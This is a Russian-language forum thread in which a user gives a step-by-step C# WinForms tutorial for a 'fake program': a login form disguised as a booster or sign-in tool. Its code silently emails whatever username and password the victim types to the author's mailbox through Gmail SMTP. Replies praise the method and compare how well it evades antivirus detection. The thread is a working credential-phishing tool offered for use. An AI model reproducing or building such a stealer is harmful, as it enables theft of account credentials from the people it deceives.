Загрузка...

[C#] Простая фейк-программа

Тема в разделе C# создана пользователем SEMPAI 7 июл 2017. 5140 просмотров

  1. SEMPAI
    SEMPAI Автор темы 7 июл 2017 /sempai/ 261 25 ноя 2016
    Нам нужна Visual Studio, желательно последней версии. Качай тут(официал сайт): СКАЧАТЬ. У меня бесплатная версия и рекомендую не тратиться на Professional версии и тому подобные. Скачали? Установили?
    При установке не забываем поставить галочку "Разработка классических приложений .NET"

    [IMG]
    Всё, открываем Visual Studio. Выбираем темную тему или синюю, светлая - вырвиглазная.
    [IMG]
    Создаем новый проект(Файл > Создать > Проект)
    [IMG]
    Делаем все как у меня (Кроме названия проекта, расширения и расположения)
    [IMG]
    Нажимаем "ОК". Ждем. И тут появляется самое интересное - проект и программирование.
    Ну для начала я задам примерный формы проекта и заставлю его ни расширяться, ни сужаться.
    Покуда мы не добавили никаких элементов, нам показаны свойства ТОЛЬКО проекта. Меняем параметр FormBorderStile на FixedToolWindow

    [IMG]
    И сменим название нашей формы.
    [IMG]
    - Ну вот я сделал. Как объекты добавлять?
    Все очень просто. Слева на стенке прикреплена "Панель элементов". Жмем по ней, ждем покуда все загрузится и появятся выпадающие списки, жмем на список "Все формы Windows Form", и там уже все понятно даже по иконке.

    [IMG]
    Я когда начинал работать в Visual Studio, баловался со всеми элементами, даже не представляя что они могут делать, а потом гуглил по ним инфу, помогает кстати.
    И так. Для фейка нам нужны 5 компонентов - две текстовые формы(TextBox(куда вводить логин и пароль)), две надписи (Label(Собственно объяснение к какой строчке логин, к какой пароль)) и одна кнопка ((Button(по которой будет происходить "накрутка").
    Найдите их и перетащите на нашу программу.

    [IMG]
    Расставим их по местам. Набросаем что-то подобное
    [IMG]
    Теперь в Label1 - сменим текст на "Логин:", а Label2 на "Пароль".
    Кликаем(ОДИН РАЗ) по Label1 и меняем в свойствах поле Text на "Логин:" (без кавычек) и делаем тоже самое только с Label2.

    [IMG]
    Теперь кликаем по нашим TextBox'ам (поля для ввода). И в свойствах летим в самый низ. Там "(Name)", поле для ввода логина меняем на LoginBox (регистр букв(большая, маленькая) учитывается), а поле для ввода пароль на PassBox.
    [IMG]
    Теперь кликаем на кнопку, в свойствах Text пишем "Накрутить" или "Войти", смотря что вы хотите сделать.
    [IMG]
    Ура! Все получилось! С радостями на лице вы можете приступать к самому грустному - написание кода.
    Есть много обучающих видео по этому поводу, уроков, форумов, ссылок, просто не забывайте добавлять к интересующему вопросу "C#"
    Жмем теперь два раза по кнопке чтобы присвоить ей значение клика (когда будет клик будет выполняться то, что находится в { })
    Тут мы объявляем две переменные string (в эти переменные можно вписывать текст, можете погуглить) и называем ее login и присваиваем ей значение( "=" - присвоить значение, "==" проверить значение, опять же гуглите) "LoginBox.Text", а вторую переменную называем pass и присваиваем ей LoginBox.Text
    !!!!НЕЗАБЫВАЕМ НА КОНЦЕ СТРОЧЕК ПИСАТЬ ";"!!!!

    [IMG]
    Теперь напишем длинный код, но для начала зарегистрируем почту GMAIL, так как с ней самое меньше траблов. Зарегистрировался? Красавчик.
    Вот скрин и код

    [IMG]
    Код
               [/COLOR][/SIZE][/CENTER]
    [SIZE=14px][COLOR=rgb(235, 235, 235)]
    [CENTER]
    string pass = PassBox.Text;
    // отправитель - устанавливаем адрес и отображаемое в письме имя
    MailAddress from = new MailAddress("somemail@gmail.com", "Tom");
    /* Куда идет сообщение "yandex.ru" можно поменять на любой домен, если у вас почта [USER=20606]@Mail.ru[/USER] , а не Yandex.ru,
    меняйте на ВашуПочту@mail.ru .*/
    MailAddress to = new MailAddress("ВашаВтораяПочта@yandex.ru");
    // Создаем письмо
    MailMessage m = new MailMessage(from, to);
    // ЗАГОЛОВОК
    m.Subject = "Взломщик";
    // текст письма
    m.Body = "<h2>"+login+":"+pass+"</h2>";
    // письмо представляет код html (погуглите и поймете что, да как)
    m.IsBodyHtml = true;
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль почты С КОТОРОЙ ИДЕТ СООБШЕНИЕ (GMAIL)
    smtp.Credentials = new NetworkCredential("YouEmail@gmail.com", "YouPass");
    // Сложно объяснить, погуглите.
    smtp.EnableSsl = true;
    // Отправка
    smtp.Send(m);





    Если у вас как на скрине выделены красным некоторые объекты, значит нужно подключить библиотеку System.Net и System.Net.Mail. Листаем в самый вверх кода и вписываем.

    [IMG]
    Теперь сохраняем все файлы CTRL+SHIFT+S

    И на верхней панели нажимаем "Пуск" и ждем
    [IMG]
    Теперь проверяем работоспособность. Вводим что-то в два поля. Нажимаем кнопку и чутка ждем, потом идем смотреть почту и вот сообщение пришло, ты молодец.

    [IMG]
    Попытался оформить тему от души. Надеюсь вам понравилось

    #моястатья
     
  2. TonuMC
    TonuMC 7 июл 2017 Заблокирован(а) 560 3 янв 2017
    Годно, но траблы с VS((
     
  3. SEMPAI
    SEMPAI Автор темы 7 июл 2017 /sempai/ 261 25 ноя 2016
    С ним всегда траблы(
     
  4. Donald_inactive24663
    Donald_inactive24663 7 июл 2017 Заблокирован(а) 217 22 ноя 2014
    Systeam.Net.Mail
     
  5. t_x_t
    t_x_t 7 июл 2017 Заблокирован(а) 1 27 июн 2017
    Лучше не париться и для фейк программы скачать PHP Devel Studio .
    там за 3 минуты можно программу написать.
     
  6. SEMPAI
    SEMPAI Автор темы 7 июл 2017 /sempai/ 261 25 ноя 2016
    И палится антивирусами. Найс
     
  7. SEMPAI
    SEMPAI Автор темы 7 июл 2017 /sempai/ 261 25 ноя 2016
  8. kamyn9ka228
    kamyn9ka228 7 июл 2017 Заблокирован(а) 222 4 мар 2017
    КТОТО СЛИЗАЛ С ДРУГОГО ФОРУМА)) ) ЧИсто слово в слово....
     
  9. SEMPAI
    SEMPAI Автор темы 7 июл 2017 /sempai/ 261 25 ноя 2016
    Ник на форумах посмотри
     
  10. kamyn9ka228
    kamyn9ka228 7 июл 2017 Заблокирован(а) 222 4 мар 2017
    Ойойой) ) Мои извинения) Я ник не посмотрел :D
     
  11. Ксюшка
    Ксюшка 8 июл 2017 Хуба-Буба 1689 25 апр 2017
    Годно в своё время искал не мог найти)
     
  12. SEMPAI
    SEMPAI Автор темы 8 июл 2017 /sempai/ 261 25 ноя 2016
    Кстати, добавил #моя статься , мала ли )0))
     
  13. SijyKijy
    SijyKijy 8 июл 2017 Сгнил 34 10 мар 2017
    Годно, возьму себе на заметку как отправлять на почту.
     
  14. divinity
    divinity 15 июл 2017 สสสส 169 23 фев 2017
    ERROR спит,пиши ему для получения авторской,может еще и денег получишь.А может он пошлет тебя куда подальше)
     
  15. _DAKEEAN_
    _DAKEEAN_ 15 июл 2017 Заблокирован(а) 300 12 дек 2016
    SEMPAI лучше качать 2015 года ибо консоли нету на новой версии
     
  16. SEMPAI
    SEMPAI Автор темы 15 июл 2017 /sempai/ 261 25 ноя 2016
    Есть, я выводил сообщение в консоль. Console.Write, насколько помню
     
  17. _DAKEEAN_
    _DAKEEAN_ 15 июл 2017 Заблокирован(а) 300 12 дек 2016
    Console.WriteLine("текст")
     
  18. SEMPAI
    SEMPAI Автор темы 15 июл 2017 /sempai/ 261 25 ноя 2016
    Так консоль есть, чего ты наговариваешь
     
  19. _DAKEEAN_
    _DAKEEAN_ 15 июл 2017 Заблокирован(а) 300 12 дек 2016
    когда создаешь консольное приложение не появляется такая шняга.
    [IMG]
     
  20. _DAKEEAN_
    _DAKEEAN_ 15 июл 2017 Заблокирован(а) 300 12 дек 2016
    я ток 2 дня назад скачивал с оффициала,пришлось 2015 скачивать
     
Загрузка...
Top